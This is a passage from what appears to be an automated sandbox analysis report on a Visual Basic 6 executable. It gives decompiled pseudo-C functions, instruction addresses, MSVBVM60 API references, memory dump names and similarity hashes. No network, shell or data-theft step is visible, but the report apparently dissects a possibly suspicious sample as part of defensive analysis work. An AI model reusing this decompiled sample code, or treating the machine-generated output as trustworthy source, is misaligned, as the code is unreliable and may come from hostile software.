				_v56 = _t62;
				if(_v56 >= 0) {
					_v72 = _v72 & 0x00000000;
				} else {
					_push(0x1fc);
					_push(0x4113f0);
					_push(_v52);
					_push(_v56);
					L00401690();
					_v72 = _t62;
				}
				L0040168A();
				if( *0x419010 != 0) {
					_v76 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v76 = 0x419010;
				}
				_t66 =  &_v32;
				L0040169C();
				_v52 = _t66;
				_v40 = 0x80020004;
				_v48 = 0xa;
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t70 =  *((intOrPtr*)( *_v52 + 0x1fc))(_v52, 0x10, _t66,  *((intOrPtr*)( *((intOrPtr*)( *_v76)) + 0x380))( *_v76));
				asm("fclex");
				_v56 = _t70;
				_t93 = _v56;
				if(_t93 >= 0) {
					_v80 = _v80 & 0x00000000;
				} else {
					_push(0x1fc);
					_push(0x4113f0);
					_push(_v52);
					_push(_v56);
					L00401690();
					_v80 = _t70;
				}
				L0040168A();
				asm("fldz");
				L00401528();
				L004015E2();
				asm("fcomp qword [0x401400]");
				asm("fnstsw ax");
				asm("sahf");
				if(_t93 != 0) {
					_push(0x40);
					L0040156A();
					_v28 = _t70;
				}
				asm("wait");
				_push(0x417f59);
				return _t70;
			}

0x00417d9d
0x00417dac
0x00417db6
0x00417dbe
0x00417dc1
0x00417dc8
0x00417dd7
0x00417de1
0x00417dfb
0x00417de3
0x00417de3
0x00417de8
0x00417ded
0x00417df2
0x00417df2
0x00417e16
0x00417e1a
0x00417e1f
0x00417e22
0x00417e29
0x00417e33
0x00417e3d
0x00417e3e
0x00417e3f
0x00417e40
0x00417e49
0x00417e4f
0x00417e51
0x00417e58
0x00417e74
0x00417e5a
0x00417e5a
0x00417e5f
0x00417e64
0x00417e67
0x00417e6a
0x00417e6f
0x00417e6f
0x00417e7b
0x00417e87
0x00417ea1
0x00417e89
0x00417e89
0x00417e8e
0x00417e93
0x00417e98
0x00417e98
0x00417ebc
0x00417ec0
0x00417ec5
0x00417ec8
0x00417ecf
0x00417ed9
0x00417ee3
0x00417ee4
0x00417ee5
0x00417ee6
0x00417eef
0x00417ef5
0x00417ef7
0x00417efa
0x00417efe
0x00417f1a
0x00417f00
0x00417f00
0x00417f05
0x00417f0a
0x00417f0d
0x00417f10
0x00417f15
0x00417f15
0x00417f21
0x00417f26
0x00417f28
0x00417f2d
0x00417f32
0x00417f38
0x00417f3a
0x00417f3b
0x00417f3d
0x00417f3f
0x00417f44
0x00417f44
0x00417f47
0x00417f48
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00417DB6
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00417DED
__vbaObjSet.MSVBVM60(?,00000000), ref: 00417E1A
__vbaChkstk.MSVBVM60(?,00000000), ref: 00417E33
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113F0,000001FC), ref: 00417E6A
__vbaFreeObj.MSVBVM60(00000000,?,004113F0,000001FC), ref: 00417E7B
__vbaNew2.MSVBVM60(0041192C,00419010), ref: 00417E93
__vbaObjSet.MSVBVM60(?,00000000), ref: 00417EC0
__vbaChkstk.MSVBVM60(?,00000000), ref: 00417ED9
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113F0,000001FC), ref: 00417F10
__vbaFreeObj.MSVBVM60(00000000,?,004113F0,000001FC), ref: 00417F21
_CIsin.MSVBVM60(00000000,?,004113F0,000001FC), ref: 00417F28
__vbaFpR8.MSVBVM60(00000000,?,004113F0,000001FC), ref: 00417F2D
#569.MSVBVM60(00000040), ref: 00417F3F

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Chkstk$CheckFreeHresultNew2$#569Isin
String ID:
API String ID: 3633085554-0
Opcode ID: e28c8d60dd186c669df72c6a6e418507d8cb237c49aeeba9c17938059c9e6d5b
Instruction ID: 56c2b7fc2b93a3cff64016a5d0bdaf91211d4714b3462ee21ba3bcc85e839b2c
Opcode Fuzzy Hash: e28c8d60dd186c669df72c6a6e418507d8cb237c49aeeba9c17938059c9e6d5b
Instruction Fuzzy Hash: 44513970D40209EFCB01EFA4D855BEEBBB5BF09704F20486AF501BB2A1C7795945DB58

Uniqueness

Uniqueness Score: -1.00%

Function 004177DC, Relevance: 19.7, APIs: 13, Instructions: 153
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E004177DC(void* __ebx, void* __ecx, void* __edi, void* __esi, long long __fp0) {
				intOrPtr _v8;
				long long* _v12;
				void* _v24;
				signed int _v28;
				char _v32;
				intOrPtr _v40;
				char _v48;
				intOrPtr _v56;
				char _v64;
				char _v72;
				char _v80;
				void* _v100;
				signed int _v104;
				intOrPtr _v112;
				intOrPtr* _v116;
				signed int _v120;
				signed int _v124;
				intOrPtr* _v128;
				signed int _v132;
				char* _t65;
				signed int _t69;
				signed int _t76;
				signed int _t82;
				char* _t88;
				long long* _t98;
				signed int _t101;
				long long _t106;

				_t106 = __fp0;
				_push(0x4014b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t98;
				_push(0x70);
				L004014B0();
				_v12 = _t98;
				_v8 = 0x4013c8;
				if( *0x419010 != 0) {
					_v116 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v116 = 0x419010;
				}
				_t65 =  &_v32;
				L0040169C();
				_v100 = _t65;
				_v72 = 0x80020004;
				_v80 = 0xa;
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t69 =  *((intOrPtr*)( *_v100 + 0x1b0))(_v100, 0x10, _t65,  *((intOrPtr*)( *((intOrPtr*)( *_v116)) + 0x360))( *_v116));
				asm("fclex");
				_v104 = _t69;
				_t101 = _v104;
				if(_t101 >= 0) {
					_v120 = _v120 & 0x00000000;
				} else {
					_push(0x1b0);
					_push(0x4113cc);
					_push(_v100);
					_push(_v104);
					L00401690();
					_v120 = _t69;
				}
				_t88 =  &_v32;
				L0040168A();
				_v56 = 0x80020004;
				_v64 = 0xa;
				_v40 = 0x80020004;
				_v48 = 0xa;
				_push( &_v64);
				_push( &_v48);
				asm("fld1");
				_push(_t88);
				_push(_t88);
				_v64 = _t106;
				asm("fld1");
				_push(_t88);
				_push(_t88);
				_v72 = _t106;
				asm("fld1");
				_push(_t88);
				_push(_t88);
				_v80 = _t106;
				asm("fld1");
				_push(_t88);
				_push(_t88);
				 *_t98 = _t106;
				L00401570();
				L004015E2();
				asm("fcomp qword [0x4013c0]");
				asm("fnstsw ax");
				asm("sahf");
				if(_t101 == 0) {
					_v124 = _v124 & 0x00000000;
				} else {
					_v124 = 1;
				}
				_v100 =  ~_v124;
				_push( &_v64);
				_push( &_v48);
				_push(2);
				L00401666();
				_t76 = _v100;
				if(_t76 != 0) {
					if( *0x41931c != 0) {
						_v128 = 0x41931c;
					} else {
						_push(0x41931c);
						_push(0x41137c);
						L00401696();
						_v128 = 0x41931c;
					}
					_v100 =  *_v128;
					_t82 =  *((intOrPtr*)( *_v100 + 0x48))(_v100, 0x2f,  &_v28);
					asm("fclex");
					_v104 = _t82;
					if(_v104 >= 0) {
						_v132 = _v132 & 0x00000000;
					} else {
						_push(0x48);
						_push(0x41136c);
						_push(_v100);
						_push(_v104);
						L00401690();
						_v132 = _t82;
					}
					_t76 = _v28;
					_v112 = _t76;
					_v28 = _v28 & 0x00000000;
					L00401648();
				}
				asm("wait");
				_push(0x4179e4);
				L0040165A();
				return _t76;
			}

0x004177dc
0x004177e1
0x004177ec
0x004177ed
0x004177f4
0x004177f7
0x004177ff
0x00417802
0x00417810
0x0041782a
0x00417812
0x00417812
0x00417817
0x0041781c
0x00417821
0x00417821
0x00417845
0x00417849
0x0041784e
0x00417851
0x00417858
0x00417862
0x0041786c
0x0041786d
0x0041786e
0x0041786f
0x00417878
0x0041787e
0x00417880
0x00417883
0x00417887
0x004178a3
0x00417889
0x00417889
0x0041788e
0x00417893
0x00417896
0x00417899
0x0041789e
0x0041789e
0x004178a7
0x004178aa
0x004178af
0x004178b6
0x004178bd
0x004178c4
0x004178ce
0x004178d2
0x004178d3
0x004178d5
0x004178d6
0x004178d7
0x004178da
0x004178dc
0x004178dd
0x004178de
0x004178e1
0x004178e3
0x004178e4
0x004178e5
0x004178e8
0x004178ea
0x004178eb
0x004178ec
0x004178ef
0x004178f4
0x004178f9
0x004178ff
0x00417901
0x00417902
0x0041790d
0x00417904
0x00417904
0x00417904
0x00417916
0x0041791d
0x00417921
0x00417922
0x00417924
0x0041792c
0x00417932
0x0041793b
0x00417955
0x0041793d
0x0041793d
0x00417942
0x00417947
0x0041794c
0x0041794c
0x00417961
0x00417972
0x00417975
0x00417977
0x0041797e
0x00417997
0x00417980
0x00417980
0x00417982
0x00417987
0x0041798a
0x0041798d
0x00417992
0x00417992
0x0041799b
0x0041799e
0x004179a1
0x004179ab
0x004179ab
0x004179b0
0x004179b1
0x004179de
0x004179e3

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 004177F7
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 0041781C
__vbaObjSet.MSVBVM60(?,00000000), ref: 00417849
__vbaChkstk.MSVBVM60(?,00000000), ref: 00417862
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113CC,000001B0), ref: 00417899
__vbaFreeObj.MSVBVM60(00000000,?,004113CC,000001B0), ref: 004178AA
#674.MSVBVM60(?,?,?,?,?,?,?,?,0000000A,0000000A), ref: 004178EF
__vbaFpR8.MSVBVM60(?,?,?,?,?,?,?,?,0000000A,0000000A), ref: 004178F4
__vbaFreeVarList.MSVBVM60(00000002,0000000A,0000000A,?,?,?,?,?,?,?,?,0000000A,0000000A), ref: 00417924
__vbaNew2.MSVBVM60(0041137C,0041931C), ref: 00417947
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,00000048), ref: 0041798D
__vbaStrMove.MSVBVM60(00000000,?,0041136C,00000048), ref: 004179AB
__vbaFreeStr.MSVBVM60(004179E4), ref: 004179DE

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckChkstkHresultNew2$#674ListMove
String ID:
API String ID: 3214852864-0
Opcode ID: 4998d1d99c2f04a68e7bb8b60e48593e95a8c9760206ff8a3787e3b1952362ca
Instruction ID: 5ce26b7c2449908aedc44813952c88c467bbe1293d30b0f83c6254ba3647735b
Opcode Fuzzy Hash: 4998d1d99c2f04a68e7bb8b60e48593e95a8c9760206ff8a3787e3b1952362ca
Instruction Fuzzy Hash: 1F5129B0D14308EFDB10EFA1C849BEEBBB9FF08704F20452AE505AB2A1D7795944CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00417C61, Relevance: 15.1, APIs: 10, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00417C61(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a8, void* _a32) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				void* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v40;
				intOrPtr _v48;
				intOrPtr _v56;
				intOrPtr* _v60;
				signed int _v64;
				intOrPtr* _v72;
				signed int _v76;
				char* _t37;
				signed int _t41;
				intOrPtr _t60;

				_push(0x4014b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t60;
				_push(0x38);
				L004014B0();
				_v12 = _t60;
				_v8 = 0x4013f0;
				L00401684();
				L00401684();
				if( *0x419010 != 0) {
					_v72 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v72 = 0x419010;
				}
				_t37 =  &_v40;
				L0040169C();
				_v60 = _t37;
				_v48 = 0x80020004;
				_v56 = 0xa;
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t41 =  *((intOrPtr*)( *_v60 + 0x12c))(_v60, 0x10, _t37,  *((intOrPtr*)( *((intOrPtr*)( *_v72)) + 0x35c))( *_v72));
				asm("fclex");
				_v64 = _t41;
				if(_v64 >= 0) {
					_v76 = _v76 & 0x00000000;
				} else {
					_push(0x12c);
					_push(0x4114a8);
					_push(_v60);
					_push(_v64);
					L00401690();
					_v76 = _t41;
				}
				L0040168A();
				_v36 = 0x114f9390;
				_v32 = 0x5b02;
				_push(0x417d79);
				L0040165A();
				L0040165A();
				return _t41;
			}

0x00417c66
0x00417c71
0x00417c72
0x00417c79
0x00417c7c
0x00417c84
0x00417c87
0x00417c94
0x00417c9f
0x00417cab
0x00417cc5
0x00417cad
0x00417cad
0x00417cb2
0x00417cb7
0x00417cbc
0x00417cbc
0x00417ce0
0x00417ce4
0x00417ce9
0x00417cec
0x00417cf3
0x00417cfd
0x00417d07
0x00417d08
0x00417d09
0x00417d0a
0x00417d13
0x00417d19
0x00417d1b
0x00417d22
0x00417d3e
0x00417d24
0x00417d24
0x00417d29
0x00417d2e
0x00417d31
0x00417d34
0x00417d39
0x00417d39
0x00417d45
0x00417d4a
0x00417d51
0x00417d58
0x00417d6b
0x00417d73
0x00417d78

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00417C7C
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00417C94
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00417C9F
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00417CB7
__vbaObjSet.MSVBVM60(?,00000000), ref: 00417CE4
__vbaChkstk.MSVBVM60(?,00000000), ref: 00417CFD
__vbaHresultCheckObj.MSVBVM60(00000000,?,004114A8,0000012C), ref: 00417D34
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 00417D45
__vbaFreeStr.MSVBVM60(00417D79,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 00417D6B
__vbaFreeStr.MSVBVM60(00417D79,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 00417D73

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$ChkstkCopy$CheckHresultNew2
String ID:
API String ID: 3000170971-0
Opcode ID: 1e5ab4a5a54024b289855df406511fdfdb98aabd714c6cde12855c454f84220a
Instruction ID: 4a447719ee8cf3acf614fd9626a66d5acf36333ca83f9d5af589c0eb86738892
Opcode Fuzzy Hash: 1e5ab4a5a54024b289855df406511fdfdb98aabd714c6cde12855c454f84220a
Instruction Fuzzy Hash: D4314F70900608AFCB00EF91D996BEEBBB5EF18708F20452AF501772A1DB796945CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00415CCA, Relevance: 13.6, APIs: 9, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00415CCA(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v28;
				char _v32;
				void* _v36;
				intOrPtr* _v40;
				signed int _v44;
				intOrPtr* _v56;
				signed int _v60;
				intOrPtr* _v64;
				signed int _v68;
				char* _t54;
				signed int _t57;
				char* _t61;
				signed int _t65;
				short _t66;
				void* _t78;
				void* _t80;
				intOrPtr _t81;

				_t81 = _t80 - 0xc;
				 *[fs:0x0] = _t81;
				L004014B0();
				_v16 = _t81;
				_v12 = 0x4012f0;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x2c,  *[fs:0x0], 0x4014b6, _t78);
				if( *0x419010 != 0) {
					_v56 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v56 = 0x419010;
				}
				_t54 =  &_v32;
				L0040169C();
				_v40 = _t54;
				_t57 =  *((intOrPtr*)( *_v40 + 0x128))(_v40, _t54,  *((intOrPtr*)( *((intOrPtr*)( *_v56)) + 0x354))( *_v56));
				asm("fclex");
				_v44 = _t57;
				if(_v44 >= 0) {
					_v60 = _v60 & 0x00000000;
				} else {
					_push(0x128);
					_push(0x4114a8);
					_push(_v40);
					_push(_v44);
					L00401690();
					_v60 = _t57;
				}
				L0040168A();
				if( *0x419010 != 0) {
					_v64 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v64 = 0x419010;
				}
				_t61 =  &_v32;
				L0040169C();
				_v40 = _t61;
				_t65 =  *((intOrPtr*)( *_v40 + 0xc8))(_v40,  &_v36, _t61,  *((intOrPtr*)( *((intOrPtr*)( *_v64)) + 0x34c))( *_v64));
				asm("fclex");
				_v44 = _t65;
				if(_v44 >= 0) {
					_v68 = _v68 & 0x00000000;
				} else {
					_push(0xc8);
					_push(0x4114a8);
					_push(_v40);
					_push(_v44);
					L00401690();
					_v68 = _t65;
				}
				_t66 = _v36;
				_v28 = _t66;
				L0040168A();
				_push(0x415e35);
				return _t66;
			}

0x00415ccd
0x00415cdc
0x00415ce6
0x00415cee
0x00415cf1
0x00415cf8
0x00415d07
0x00415d11
0x00415d2b
0x00415d13
0x00415d13
0x00415d18
0x00415d1d
0x00415d22
0x00415d22
0x00415d46
0x00415d4a
0x00415d4f
0x00415d5a
0x00415d60
0x00415d62
0x00415d69
0x00415d85
0x00415d6b
0x00415d6b
0x00415d70
0x00415d75
0x00415d78
0x00415d7b
0x00415d80
0x00415d80
0x00415d8c
0x00415d98
0x00415db2
0x00415d9a
0x00415d9a
0x00415d9f
0x00415da4
0x00415da9
0x00415da9
0x00415dcd
0x00415dd1
0x00415dd6
0x00415de5
0x00415deb
0x00415ded
0x00415df4
0x00415e10
0x00415df6
0x00415df6
0x00415dfb
0x00415e00
0x00415e03
0x00415e06
0x00415e0b
0x00415e0b
0x00415e14
0x00415e18
0x00415e1f
0x00415e24
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00415CE6
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00415D1D
__vbaObjSet.MSVBVM60(?,00000000), ref: 00415D4A
__vbaHresultCheckObj.MSVBVM60(00000000,?,004114A8,00000128), ref: 00415D7B
__vbaFreeObj.MSVBVM60 ref: 00415D8C
__vbaNew2.MSVBVM60(0041192C,00419010), ref: 00415DA4
__vbaObjSet.MSVBVM60(?,00000000), ref: 00415DD1
__vbaHresultCheckObj.MSVBVM60(00000000,?,004114A8,000000C8), ref: 00415E06
__vbaFreeObj.MSVBVM60 ref: 00415E1F

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckFreeHresultNew2$Chkstk
String ID:
API String ID: 3581712425-0
Opcode ID: b402a14f8dabf2321056c03443e53eb31a31bc9c059a4466a04007fddd73fc92
Instruction ID: 78ac72091cb94daf1840e372e96ce7d68da3bc8778480238bc2fd6d7ed9a9973
Opcode Fuzzy Hash: b402a14f8dabf2321056c03443e53eb31a31bc9c059a4466a04007fddd73fc92
Instruction Fuzzy Hash: D5410774D01608EFCB00DF90D999BDDBBB9BF08705F24446AF101BB2A0C77A5985DB68

Uniqueness

Uniqueness Score: -1.00%

Function 00415601, Relevance: 12.1, APIs: 8, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00415601(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v32;
				char _v36;
				intOrPtr _v44;
				intOrPtr _v52;
				intOrPtr* _v56;
				signed int _v60;
				intOrPtr* _v68;
				signed int _v72;
				char* _t34;
				signed int _t38;
				intOrPtr _t54;

				_push(0x4014b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t54;
				_push(0x34);
				L004014B0();
				_v12 = _t54;
				_v8 = 0x4012a8;
				L00401684();
				if( *0x419010 != 0) {
					_v68 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v68 = 0x419010;
				}
				_t34 =  &_v36;
				L0040169C();
				_v56 = _t34;
				_v44 = 0x80020004;
				_v52 = 0xa;
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t38 =  *((intOrPtr*)( *_v56 + 0x188))(_v56, 0x10, _t34,  *((intOrPtr*)( *((intOrPtr*)( *_v68)) + 0x338))( *_v68));
				asm("fclex");
				_v60 = _t38;
				if(_v60 >= 0) {
					_v72 = _v72 & 0x00000000;
				} else {
					_push(0x188);
					_push(0x4113bc);
					_push(_v56);
					_push(_v60);
					L00401690();
					_v72 = _t38;
				}
				L0040168A();
				_v28 = 0xf6a2aca0;
				_v24 = 0x5afa;
				_push(0x415706);
				L0040165A();
				return _t38;
			}

0x00415606
0x00415611
0x00415612
0x00415619
0x0041561c
0x00415624
0x00415627
0x00415634
0x00415640
0x0041565a
0x00415642
0x00415642
0x00415647
0x0041564c
0x00415651
0x00415651
0x00415675
0x00415679
0x0041567e
0x00415681
0x00415688
0x00415692
0x0041569c
0x0041569d
0x0041569e
0x0041569f
0x004156a8
0x004156ae
0x004156b0
0x004156b7
0x004156d3
0x004156b9
0x004156b9
0x004156be
0x004156c3
0x004156c6
0x004156c9
0x004156ce
0x004156ce
0x004156da
0x004156df
0x004156e6
0x004156ed
0x00415700
0x00415705

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 0041561C
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00415634
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 0041564C
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 00415679
__vbaChkstk.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 00415692
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113BC,00000188), ref: 004156C9
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 004156DA
__vbaFreeStr.MSVBVM60(00415706,?,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 00415700

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$ChkstkFree$CheckCopyHresultNew2
String ID:
API String ID: 2888502551-0
Opcode ID: fb250b6313d6290fbf7644aa00421fcd12e4ebc9873c329fe69ac7160968ad75
Instruction ID: bb9d890e4c88b4172742e227dd0a66a0b13950509dce444d59fac447dc343077
Opcode Fuzzy Hash: fb250b6313d6290fbf7644aa00421fcd12e4ebc9873c329fe69ac7160968ad75
Instruction Fuzzy Hash: 0A21F770900608EFCB10DF90D896BDEBBB9BF59704F60452AF5017B2A0DBB96941CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004180FA, Relevance: 10.6, APIs: 7, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E004180FA(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				short _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				intOrPtr* _v40;
				signed int _v44;
				intOrPtr* _v48;
				signed int _v52;
				intOrPtr* _v60;
				signed int _v64;
				signed int _v68;
				signed int _t44;
				signed int _t49;
				short _t50;
				intOrPtr _t61;

				_push(0x4014b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t61;
				_push(0x30);
				L004014B0();
				_v12 = _t61;
				_v8 = 0x401430;
				L00401684();
				if( *0x41931c != 0) {
					_v60 = 0x41931c;
				} else {
					_push(0x41931c);
					_push(0x41137c);
					L00401696();
					_v60 = 0x41931c;
				}
				_v40 =  *_v60;
				_t44 =  *((intOrPtr*)( *_v40 + 0x14))(_v40,  &_v32);
				asm("fclex");
				_v44 = _t44;
				if(_v44 >= 0) {
					_v64 = _v64 & 0x00000000;
				} else {
					_push(0x14);
					_push(0x41136c);
					_push(_v40);
					_push(_v44);
					L00401690();
					_v64 = _t44;
				}
				_v48 = _v32;
				_t49 =  *((intOrPtr*)( *_v48 + 0xc0))(_v48,  &_v36);
				asm("fclex");
				_v52 = _t49;
				if(_v52 >= 0) {
					_v68 = _v68 & 0x00000000;
				} else {
					_push(0xc0);
					_push(0x4114f4);
					_push(_v48);
					_push(_v52);
					L00401690();
					_v68 = _t49;
				}
				_t50 = _v36;
				_v24 = _t50;
				L0040168A();
				_push(0x418201);
				L0040165A();
				return _t50;
			}

0x004180ff
0x0041810a
0x0041810b
0x00418112
0x00418115
0x0041811d
0x00418120
0x0041812d
0x00418139
0x00418153
0x0041813b
0x0041813b
0x00418140
0x00418145
0x0041814a
0x0041814a
0x0041815f
0x0041816e
0x00418171
0x00418173
0x0041817a
0x00418193
0x0041817c
0x0041817c
0x0041817e
0x00418183
0x00418186
0x00418189
0x0041818e
0x0041818e
0x0041819a
0x004181a9
0x004181af
0x004181b1
0x004181b8
0x004181d4
0x004181ba
0x004181ba
0x004181bf
0x004181c4
0x004181c7
0x004181ca
0x004181cf
0x004181cf
0x004181d8
0x004181dc
0x004181e3
0x004181e8
0x004181fb
0x00418200

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00418115
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 0041812D
__vbaNew2.MSVBVM60(0041137C,0041931C,?,?,?,?,004014B6), ref: 00418145
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,00000014,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 00418189
__vbaHresultCheckObj.MSVBVM60(00000000,?,004114F4,000000C0,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 004181CA
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 004181E3
__vbaFreeStr.MSVBVM60(00418201,?,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 004181FB

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckFreeHresult$ChkstkCopyNew2
String ID:
API String ID: 746201682-0
Opcode ID: 61c2af740f2af4d19bb475e04919424fa449aedc5496dbb66da7e8387c15286b
Instruction ID: 4b077bc0efd432074b6563fd5fe01487cf721cf726d4b024651757f6c9f43edc
Opcode Fuzzy Hash: 61c2af740f2af4d19bb475e04919424fa449aedc5496dbb66da7e8387c15286b
Instruction Fuzzy Hash: 3031E275D00209EFDB00DF95C885BEEBBB4BF08714F10852AF911B72A0DB7959868B68

Uniqueness

Uniqueness Score: -1.00%

Function 0041430E, Relevance: 10.6, APIs: 7, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E0041430E(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a32) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				long long _v36;
				char _v40;
				intOrPtr* _v44;
				signed int _v48;
				intOrPtr* _v60;
				signed int _v64;
				char* _t37;
				signed int _t40;
				void* _t51;
				void* _t53;
				intOrPtr _t54;

				_t54 = _t53 - 0xc;
				 *[fs:0x0] = _t54;
				L004014B0();
				_v16 = _t54;
				_v12 = 0x4011a8;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x28,  *[fs:0x0], 0x4014b6, _t51);
				L00401684();
				if( *0x419010 != 0) {
					_v60 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v60 = 0x419010;
				}
				_t37 =  &_v40;
				L0040169C();
				_v44 = _t37;
				_t40 =  *((intOrPtr*)( *_v44 + 0x1bc))(_v44, _t37,  *((intOrPtr*)( *((intOrPtr*)( *_v60)) + 0x340))( *_v60));
				asm("fclex");
				_v48 = _t40;
				if(_v48 >= 0) {
					_v64 = _v64 & 0x00000000;
				} else {
					_push(0x1bc);
					_push(0x4113cc);
					_push(_v44);
					_push(_v48);
					L00401690();
					_v64 = _t40;
				}
				L0040168A();
				_v36 =  *0x4011a0;
				asm("wait");
				_push(0x414403);
				L0040165A();
